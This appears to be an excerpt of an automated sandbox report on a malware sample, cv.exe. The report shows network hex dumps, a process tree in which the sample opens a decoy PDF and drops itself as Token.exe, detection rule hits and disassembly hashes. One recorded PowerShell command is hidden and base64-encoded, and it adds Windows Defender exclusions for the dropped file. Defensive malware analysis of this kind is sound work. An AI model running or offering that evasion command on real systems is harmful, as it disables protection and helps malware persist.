00 80 02 16 02 90 09 50 08 08 11 8e 19 e4 4a 42 2c 02 2a 20 8a 88 08 81 2c 08 45 41 61 32 91 Data Ascii: JFIF''#" "#>1++1>H<9<HWNNWmhm''#" "#>1++1>H<9<HWNNWmhm"2)`,PJB,* ,EAa2
2024-12-13 12:28:34 UTC	4096	IN	Data Raw: 12 92 a0 00 84 2d 10 a2 22 25 84 10 08 11 44 92 54 63 9a 02 04 82 08 b2 90 18 80 11 40 12 c0 81 12 c4 89 04 10 92 31 d9 14 40 14 80 4a 04 b0 01 0a 40 00 00 80 b0 10 0a a8 a9 20 12 08 20 10 25 4a 92 4a 30 cd 2c 20 82 08 08 a4 18 8b 0b 08 a4 29 00 41 02 31 95 21 04 24 92 6c 94 80 05 80 02 16 14 89 48 a2 58 2c 00 08 00 25 44 55 0a 71 f1 63 73 ca d4 12 02 04 02 54 89 28 e3 e4 20 84 08 42 54 2a 02 4c 73 85 84 52 2c b0 04 25 44 b2 41 20 82 24 92 6c 94 80 0a 82 50 11 65 80 40 a1 2c 58 00 10 16 02 04 5a 15 f9 4b 5a fd 59 dc c3 9b b1 cb 9e 60 84 40 8b 08 58 84 94 61 99 04 20 41 12 90 a8 42 2c 02 15 28 80 20 96 11 20 91 16 09 24 c6 6c a0 a8 02 28 04 0b 05 88 0b 00 a8 2c 04 b0 00 10 0a 2d d7 bf 39 ec 3b 8e cf d7 ef 7a 1d be 7e 4c b2 84 42 02 58 08 42 4a 31 a0 41 08 Data Ascii: -"%DTc@1@J@ %JJ0, )A1!$lHX,%DUqcsT( BT*LsR,%DA $lPe@,XZKZY`@Xa AB,( $l(,-9;z~LBXBJ1A
2024-12-13 12:28:34 UTC	4096	IN	Data Raw: ef f3 76 b2 eb fd 3b df 5e b7 5b a7 e0 e8 9f 0e 6e 7b 36 cf ea 73 e7 c5 96 37 2e 7e c7 36 7c 9d 6c 3c 8d 37 d4 da bd df 47 b5 cb 95 91 08 8c 6a 22 e3 2a 08 02 00 80 00 20 41 20 8a 24 92 4b 11 8c 80 8c 76 72 c0 00 2c 94 94 0c 55 02 c2 90 01 05 4a 82 50 0a be 43 db e3 e3 f3 bc 2f 1f 55 ca 76 32 c3 86 fd 03 70 5e bf 07 4b c4 d4 7f 3f 70 6d 1b 67 a7 df e4 e4 ed 72 f2 5c b9 b9 f9 f9 79 7b 17 af c7 ad eb 7b 2e c9 ec 77 bb 3c b5 09 09 08 44 20 40 10 08 54 01 2a 08 b0 88 82 c2 31 82 43 1c 41 18 ec ea 85 80 58 09 52 a0 40 14 2a 40 b0 20 00 05 8a 3c 7e 6f 5b 8f 8b cc f0 bc 8f 07 c7 f6 78 f3 c7 cc c3 87 e8 7f 45 5e 1e b7 4f c7 d5 7e 15 ae fb db 8e c5 eb f6 1c 8e af 65 7b 39 72 76 fb 7c dc 98 70 75 7e 79 cf b6 fb fe a7 73 b1 c9 61 22 49 64 b0 24 10 04 02 00 02 58 20 Data Ascii: v;^[n{6s7.~6\|l<7Gj"* A $Kvr,UJPC/Uv2p^K?pmgr\y{{.w<D @T1CAXR@@ <~o[xE^O~e{9rv\|pu~ysa"Id$X
2024-12-13 12:28:34 UTC	4096	IN	Data Raw: 80 00 00 00 00 11 40 00 00 00 25 89 98 dd a0 00 00 00 00 00 00 00 00 11 40 00 00 00 12 92 4c b6 d0 00 4a 00 00 00 00 00 00 94 04 a0 00 00 00 08 a4 92 67 7a a0 00 00 00 00 00 00 00 00 00 00 00 00 04 50 cb 39 e9 bc a8 00 00 00 00 00 00 00 00 00 00 00 00 08 a2 cc b3 9d f4 b9 94 00 00 00 00 00 00 00 00 00 00 00 00 08 a1 70 ce 75 d2 a4 a0 00 00 00 00 00 00 00 00 00 00 00 01 14 17 9d cc 75 a9 64 a0 00 00 00 00 00 00 00 00 00 00 00 08 a0 ac 49 27 65 08 00 00 00 00 00 00 00 00 00 00 00 01 28 2a 5c e5 9c f6 b4 58 cd 00 00 00 00 00 00 00 00 00 00 00 09 41 6c 33 24 cf 4d 28 12 50 00 00 00 00 00 00 00 00 00 00 04 50 b4 4c c9 33 bd d0 b2 11 40 00 00 00 00 12 80 00 00 00 00 12 80 d2 58 99 93 3a d6 85 21 66 74 00 00 00 00 00 00 00 00 00 00 22 81 a2 21 84 c5 dd b4 15 2d Data Ascii: @%@LJgzP9puudI'e(*\XAl3$M(PPL3@X:!ft"!-
2024-12-13 12:28:34 UTC	4096	IN	Data Raw: c1 e3 f7 f2 47 b3 3d 98 f5 69 71 49 c5 c9 32 5c 94 5f 4c e3 11 ab 8a 87 4c 7a 6d 09 8c ae 0c 1d 73 fa 79 c8 b9 0c 7c 93 25 cb eb 9c 5c 9a 86 57 3a 63 d1 68 0c 78 98 b8 3d 98 f5 4e 1f 6b 8b 0e 0c 6c 6c 97 2e ae dc 55 15 9c 88 e9 8f 41 a0 31 e2 e0 c1 83 c7 ef e5 8f 23 e5 77 f1 9b f6 69 87 06 1c 93 25 16 d5 c6 b5 0a 04 3a 6b 69 cf 5c c4 53 06 0c 1f 63 eb 67 c1 1f 5c 38 39 4d 92 09 d2 d2 4c 95 11 4e 9e fa 6b d6 30 94 c5 c1 83 d9 c7 bb be 1e 43 27 56 12 ad e8 8e 04 88 50 7d 31 ea 98 4a 62 e0 c1 83 c1 9f 28 3c 31 f0 a3 ec 7c ac 99 b8 c1 93 29 59 05 b8 a5 4e 21 cb 91 d3 6d 2d e9 b4 25 31 70 60 fb 6d df 6f dc 8f 2c 7a a7 d7 24 e6 32 5c 21 d6 74 b5 17 19 47 7c d5 6d 29 e9 34 26 3c 5c 18 3e e7 ee 7b 51 ec 7b f8 01 e5 c8 43 8b 92 63 07 c9 b2 e2 f1 74 5a 8e 40 d4 26 Data Ascii: G=iqI2\_LLzmsy\|%\W:chx=Nkll.UA1#wi%:ki\Scg\89MLNk0C'VP}1Jb(<1\|)YN!m-%1p`mo,z$2\!tG\|m)4&<\>{Q{CctZ@&
2024-12-13 12:28:34 UTC	4096	IN	Data Raw: dd 7f f9 99 f7 4d f7 a7 71 e6 27 d5 15 f0 af 0f b7 ce d3 c0 26 34 61 fa 88 01 93 0e c5 80 65 b8 6b a8 af cb 61 58 36 fe cf 8b 68 c4 32 12 8b 45 3a 78 30 e3 50 e1 e2 8f 6d ec 3c 53 4f 84 8d d5 9d 24 16 9b 0a dc a4 1c 50 e8 5a 90 48 93 43 fa 99 86 fa 7d 5b ea 9e a3 56 23 3a b8 19 d6 43 d3 3b ff 00 b2 31 6a 86 ce eb b8 0f 7b e5 5b 4f 6f 6d f7 d9 38 6b e1 f6 36 cf 65 b4 f6 ec 92 ca 09 93 3f 3e 57 ad 93 b0 70 63 0d b3 f0 cb 1a fc b7 d5 e4 3c dd ab b6 56 d9 5b 5a f8 14 12 2c 46 d5 03 05 2c ef d5 47 8a 8c 14 3b d6 bf 6e b1 9f 02 e2 8d e1 96 1c 5c 78 cc 5a f6 d4 76 26 c3 a4 7e 63 70 04 d6 18 20 8f 0a cc d8 4c 4c 2d 8b c1 5f 54 b6 52 44 7c 2b 75 ab 31 9d 5c 0a c8 7e e6 ee e3 fb 6d 81 3f a1 d3 d0 d6 2a 0d 81 8a 6c 2c 7b f3 04 66 55 e7 ba 2b 6c e3 a1 f8 29 b2 f0 78 Data Ascii: Mq'&4aekaX6h2E:x0Pm<SO$PZHC}[V#:C;1j{[Oom8k6e?>Wpc<V[Z,F,G;n\xZv&~cp LL-_TRD\|+u1\~m?*l,{fU+l)x
2024-12-13 12:28:35 UTC	4096	IN	Data Raw: 98 6f 0f 6d ab 18 b3 08 20 bb 32 06 2c cc 2f fe 5a da 62 db cf 08 f1 0d 5b 43 5e b2 0f 63 56 d6 8a 48 d1 31 b9 95 2f 93 38 16 d2 b6 f8 d6 68 1f f8 f3 fb ab 6a 13 f1 98 5c 0f 88 2e bf 65 16 de de 0a 08 72 3b 24 91 97 8f 41 e9 16 ae fa 3d 09 22 15 75 04 54 b1 8c af 2a f2 f9 63 f1 a8 67 5b ad 98 69 e1 50 cd f1 91 f6 24 e0 45 63 b6 74 9b b8 95 3b 9c 24 03 ed a4 75 04 3d e8 1b 67 40 f1 a0 7d 1d b4 12 26 0f 07 18 9b 1d 28 ba c7 a2 a0 f9 f2 1e 0b 49 81 eb 67 96 43 3e 32 7c e6 9d b5 6e e1 c9 47 01 5b b9 2e 6c 74 15 bb 72 4d d8 ea 7a 00 e3 d2 4f 1a 38 9c 52 af 01 ff 00 62 80 21 06 8a 2d 59 51 27 75 41 2d c8 66 6b 0f 84 dd 38 cc 54 38 72 da 07 6e d9 f0 51 99 ac 28 1f 9a e0 67 c4 12 40 0f 3d e0 8f 3e ed 6b 68 4e bf 9d 62 b7 53 84 38 7f 89 8f d7 6e d3 7a cd 2a 39 45 Data Ascii: om 2,/Zb[C^cVH1/8hj\.er;$A="uTcg[iP$Ect;$u=g@}&(IgC>2\|nG[.ltrMzO8Rb!-YQ'uA-fk8T8rnQ(g@=>khNbS8nz9E
2024-12-13 12:28:35 UTC	4096	IN	Data Raw: fd 00 e2 7f 4f 14 c9 b9 2c 6a eb c9 85 eb 67 e2 02 86 57 55 0c 0e e0 6b ad c7 71 a1 60 00 d0 55 be 89 eb f4 45 71 fb 4b 64 6c a6 f3 24 12 e2 1f c2 1b 05 f7 9b d3 60 54 e1 b1 51 bb e2 00 b4 7b 82 e6 6e 19 77 f3 a9 44 df 96 63 08 6c 43 64 a0 79 b0 af cd 5f bc d0 45 2a 0d 5e e6 f4 4d f3 a5 4f d6 96 04 e8 83 cf 3f 80 ef 35 be b6 70 a1 01 b8 8c 66 a0 f7 df ce 3d e6 86 f1 54 cc fd 9e 26 b1 38 e7 50 83 78 5c 10 e4 65 ea 1c 69 14 ef ca 0b b9 d4 9c e9 23 51 65 a0 2a df b1 e6 3c 8c a8 e6 2f 41 59 1c 0d 6e 09 ac e8 de ac 29 cf 69 aa c7 4a 25 77 77 6d 47 ce 2e 6d cb 4a 50 08 5a eb f0 a8 df 29 7b 2d ea fd 1e 84 8d 34 fa 1f 88 12 62 0c b2 ab a1 7f 8a 01 6c 51 2d a1 e6 6f f4 9f 7f e1 80 3c 61 d9 9f fe c7 ff 00 4a 40 4b 10 3c 69 41 2a 0d 5e f6 34 a1 4b 33 85 5e 24 d3 e4 Data Ascii: O,jgWUkq`UEqKdl$`TQ{nwDclCdy_E^MO?5pf=T&8Px\ei#Qe</AYn)iJ%wwmG.mJPZ){-4blQ-o<aJ@K<iA*^4K3^$
2024-12-13 12:28:35 UTC	4096	IN	Data Raw: 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 40 61 61 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 6c 41 6d 63 61 6f 61 74 70 6c 61 6d 63 69 6f 61 7c 50 6c 61 25 63 69 6f 61 74 70 6c 61 6d 63 69 41 15 11 08 18 61 6d 63 5d d6 4a 74 70 4c 61 6d 63 d3 44 61 74 72 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 4f 61 74 10 42 13 1e 11 0a 6f 61 74 fc 6f 61 6d 63 89 44 61 74 74 6c 61 6d df 42 6f 61 74 70 6c 61 6d 63 69 6f 61 74 70 2c 61 6d 23 47 1d 04 18 1f 0f 61 6d 6f 69 6f 61 74 70 40 61 6d 61 69 6f 61 b4 5b 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 29 6f 61 36 70 6c 61 6d 63 69 6f 61 74 70 6c 61 6d 63 69 6f 71 ad 5b 6c 61 6d 63 69 27 61 74 70 6e 61 68 63 Data Ascii: amcioatplamcioatp@aacioatplamcioatplamcioatplamcioatplamcioatplamcioatplAmcaoatplamcioa\|Pla%cioatplamciAamc]JtpLamcDatrlamcioatplamciOatBoatoamcDattlamBoatplamcioatp,am#Gamoioatp@amaioa[lamcioatplamc)oa6plamcioatplamcioq[lamci'atpnahc
2024-12-13 12:28:35 UTC	4096	IN	Data Raw: 53 3b df 3f 27 50 b5 84 0c 2b d3 1c 0a b7 d2 43 65 59 32 60 18 5f 2d fc 1f db fb da 02 63 dc 07 6c 9f 6c b8 d8 5b c9 e8 f9 9c 84 32 ac e1 7a db 5d 63 07 02 5c b2 f8 d3 76 b0 7a ab 5e 0b 82 dc 2e bc d4 8b 54 86 4a a2 42 b5 fe 01 df 3c eb 0d a3 e5 26 13 e7 ed 42 85 07 c4 bd 64 a0 8a fe aa de f3 b5 5b 29 31 92 f0 f9 ec c6 ef a9 37 38 9a c7 f5 da 25 a9 b5 4e 28 23 0d 80 db e1 92 bd d0 53 ce 43 67 53 8a 6f 39 b7 de 61 1c d1 cd 9b 67 ac d5 fe de 57 a1 2c d9 82 f7 68 e0 99 27 ae de 1c 39 f8 39 e8 a0 be 34 96 b4 67 d2 35 a0 67 89 39 79 41 76 53 b9 eb 57 7a f2 e6 cb e7 2d 43 55 e7 a8 48 01 5b 43 fe ef 87 de 8c d5 72 3b cb 0b ae 9b af 83 46 ad c6 fa f6 ff 06 2e 03 e0 5e b8 52 df de 67 c9 86 f9 8f 1a 5c b0 9c 7e 06 6e e1 89 1b 9a 14 6f 65 ff bd f3 60 c5 78 f8 45 ec Data Ascii: S;?'P+CeY2`_-cll[2z]c\vz^.TJB<&Bd[)178%N(#SCgSo9agW,h'994g5g9yAvSWz-CUH[Cr;F.^Rg\~noe`xE

Target ID:	0
Start time:	07:27:22
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\cv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cv.exe"
Imagebase:	0xf90000
File size:	1'710'152 bytes
MD5 hash:	19FE59DA84E322469ED35704AD2CFB87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:27:54
Start date:	13/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:27:55
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\cv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\cv.exe"
Imagebase:	0xf90000
File size:	1'710'152 bytes
MD5 hash:	19FE59DA84E322469ED35704AD2CFB87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2072016816.0000000004032000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2058907435.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.2089144567.0000000005600000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:27:55
Start date:	13/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:27:55
Start date:	13/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1636,i,5757561869882323964,3520137961289950792,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	07:28:31
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGIAcgBvAGsAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsACwAQwA6AFwAVQBzAGUAcgBzAFwAYgByAG8AawBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4ALgBlAHgAZQA7AA==
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:28:31
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:28:31
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\AllData\egsflr\Token.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\AllData\egsflr\Token.exe
Imagebase:	0x140000
File size:	1'710'152 bytes
MD5 hash:	19FE59DA84E322469ED35704AD2CFB87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:28:36
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6616b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	07:29:04
Start date:	13/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Documents\OUCH_SOKHENG.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:29:04
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\AllData\egsflr\Token.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\AllData\egsflr\Token.exe"
Imagebase:
File size:	1'710'152 bytes
MD5 hash:	19FE59DA84E322469ED35704AD2CFB87
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.9%
Total number of Nodes:	161
Total number of Limit Nodes:	9

Executed Functions

Function 06C2A178 Relevance: 16.1, Strings: 12, Instructions: 1056
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJq, xrefs: 06C2B760
RSR, xrefs: 06C2AFF8
[wUg, xrefs: 06C2A660
qoi, xrefs: 06C2A7CF
0VD, xrefs: 06C2B398
?31\, xrefs: 06C2A7B7
qoi, xrefs: 06C2A7AD
2S|q, xrefs: 06C2A272
PTEe, xrefs: 06C2A525
Y4YY, xrefs: 06C2A2D6
iK@w, xrefs: 06C2B1D6
jve, xrefs: 06C2AA5B

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: 0VD$2S|q$?31\$PTEe$RSR$TJq$Y4YY$[wUg$iK@w$jve$qoi$qoi
API String ID: 0-2072971441
Opcode ID: b91b60a7b1ddaa0bcc0875788c1de55e73c4963f5c978c8b43f39e7dfd4680b7
Instruction ID: db4381e55097098349b8db4d3e776947ec3d5e9e21ae6e01c4b15ecdb69e007a
Opcode Fuzzy Hash: b91b60a7b1ddaa0bcc0875788c1de55e73c4963f5c978c8b43f39e7dfd4680b7
Instruction Fuzzy Hash: 77C26AB5E5122A8FDB64CF29CD857D9BBB6BB88300F5492D9840DAB354DB349F818F40

Function 06C2A177 Relevance: 16.0, Strings: 12, Instructions: 1050
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJq, xrefs: 06C2B760
RSR, xrefs: 06C2AFF8
[wUg, xrefs: 06C2A660
qoi, xrefs: 06C2A7CF
0VD, xrefs: 06C2B398
?31\, xrefs: 06C2A7B7
qoi, xrefs: 06C2A7AD
2S|q, xrefs: 06C2A272
PTEe, xrefs: 06C2A525
Y4YY, xrefs: 06C2A2D6
iK@w, xrefs: 06C2B1D6
jve, xrefs: 06C2AA5B

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: 0VD$2S|q$?31\$PTEe$RSR$TJq$Y4YY$[wUg$iK@w$jve$qoi$qoi
API String ID: 0-2072971441
Opcode ID: 0e7a10c20520a6b4d54e431197dd86a732b2c0cf38b061d6d5d848ad097ea7cd
Instruction ID: 7880538001fcf0a5ab3a14f0a9b33b1b6aa14ca31600e70d9f3552979f315e78
Opcode Fuzzy Hash: 0e7a10c20520a6b4d54e431197dd86a732b2c0cf38b061d6d5d848ad097ea7cd
Instruction Fuzzy Hash: A1C26AB5E1122A8FDB64CF29CD857D9BBB6BB88300F5492D9840DAB354DB349F818F40

Function 06C2B82B Relevance: 16.0, Strings: 12, Instructions: 1045
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJq, xrefs: 06C2B760
RSR, xrefs: 06C2AFF8
[wUg, xrefs: 06C2A660
qoi, xrefs: 06C2A7CF
0VD, xrefs: 06C2B398
?31\, xrefs: 06C2A7B7
qoi, xrefs: 06C2A7AD
2S|q, xrefs: 06C2A272
PTEe, xrefs: 06C2A525
Y4YY, xrefs: 06C2A2D6
iK@w, xrefs: 06C2B1D6
jve, xrefs: 06C2AA5B

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: 0VD$2S|q$?31\$PTEe$RSR$TJq$Y4YY$[wUg$iK@w$jve$qoi$qoi
API String ID: 0-2072971441
Opcode ID: 9685c5fb293be8a75fb47a08b1b23515464fd899b0e2887db2b49cb80f992010
Instruction ID: ceba65bc5896129402db8ba3516a54df87d7342f1db10743527cb8009ee4fcd1
Opcode Fuzzy Hash: 9685c5fb293be8a75fb47a08b1b23515464fd899b0e2887db2b49cb80f992010
Instruction Fuzzy Hash: 74C26AB5E5122A8FDB64CF29CD857D9BBB6BB88300F5492D9840DAB354DB349F818F40

Function 06C2A13F Relevance: 16.0, Strings: 12, Instructions: 1044
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJq, xrefs: 06C2B760
RSR, xrefs: 06C2AFF8
[wUg, xrefs: 06C2A660
qoi, xrefs: 06C2A7CF
0VD, xrefs: 06C2B398
?31\, xrefs: 06C2A7B7
qoi, xrefs: 06C2A7AD
2S|q, xrefs: 06C2A272
PTEe, xrefs: 06C2A525
Y4YY, xrefs: 06C2A2D6
iK@w, xrefs: 06C2B1D6
jve, xrefs: 06C2AA5B

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: 0VD$2S|q$?31\$PTEe$RSR$TJq$Y4YY$[wUg$iK@w$jve$qoi$qoi
API String ID: 0-2072971441
Opcode ID: 75ffb7438a7ff0dabc8118167b27275b81883ba237d7691e0ba14e594f0da8ad
Instruction ID: 12fbdc23e3c76eee1fe73214d992d13163b829063cef44ff78710b633e70a00a
Opcode Fuzzy Hash: 75ffb7438a7ff0dabc8118167b27275b81883ba237d7691e0ba14e594f0da8ad
Instruction Fuzzy Hash: 41C26AB5E4122A8FDB64CF29CD857D9BBB6BB88300F5492D9840DAB354DB349F818F44

Function 06C2A14F Relevance: 16.0, Strings: 12, Instructions: 1043
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJq, xrefs: 06C2B760
RSR, xrefs: 06C2AFF8
[wUg, xrefs: 06C2A660
qoi, xrefs: 06C2A7CF
0VD, xrefs: 06C2B398
?31\, xrefs: 06C2A7B7
qoi, xrefs: 06C2A7AD
2S|q, xrefs: 06C2A272
PTEe, xrefs: 06C2A525
Y4YY, xrefs: 06C2A2D6
iK@w, xrefs: 06C2B1D6
jve, xrefs: 06C2AA5B

Memory Dump Source

Source File: 00000000.00000002.2062612494.0000000006C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c10000_cv.jbxd

Similarity

API ID:
String ID: 0VD$2S|q$?31\$PTEe$RSR$TJq$Y4YY$[wUg$iK@w$jve$qoi$qoi
API String ID: 0-2072971441
Opcode ID: 55d2305c7d0e445ccb2519faeffd3e7b184c42fffb9f301f736830381126defd
Instruction ID: 9bfc62c024ffc1bcab886d442ae6a644d217397930fcb148047e5ff5e50cb9cd
Opcode Fuzzy Hash: 55d2305c7d0e445ccb2519faeffd3e7b184c42fffb9f301f736830381126defd
Instruction Fuzzy Hash: 99B269B5E5122A8FDB64CF29CD857D9BBB6BB88300F5492D9840DAB354DB349F818F40

Function 06747B0B Relevance: 11.8, Strings: 9, Instructions: 593
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Oy, xrefs: 06747C84
aW:, xrefs: 0674912B
Oy, xrefs: 06748F74
@':, xrefs: 06747C5B
Oy, xrefs: 0674917C
aW:, xrefs: 06747C33
aW:, xrefs: 06748F1D
@':, xrefs: 06749153
@':, xrefs: 06748F45

Memory Dump Source

Source File: 00000000.00000002.2059380807.0000000006740000.00000040.00000800.00020000.00000000.sdmp, Offset: 06740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6740000_cv.jbxd

Similarity

API ID:
String ID: @':$@':$@':$Oy$Oy$Oy$aW:$aW:$aW:
API String ID: 0-2987442126
Opcode ID: f4bf7527ddebf96fafd72c17c9ea0299494f5e7262840660332c53382d925c9a
Instruction ID: 99ba054b930df1e52cc2e087844632434ffad161147efb6098f5dedfa0fc5c6a
Opcode Fuzzy Hash: f4bf7527ddebf96fafd72c17c9ea0299494f5e7262840660332c53382d925c9a
Instruction Fuzzy Hash: D55246B4D11328CBDB65EF69D88879DBBB6FB48300F5085E9D159AB314CB389A84CF41

Function 06D3E968 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/29, xrefs: 06D3F099
o"!P, xrefs: 06D3EAD8
w7A, xrefs: 06D3EEAA
}]q, xrefs: 06D3EA42
u'u@, xrefs: 06D3F0AD
2y, xrefs: 06D3EF04

Memory Dump Source

Source File: 00000000.00000002.2062855664.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

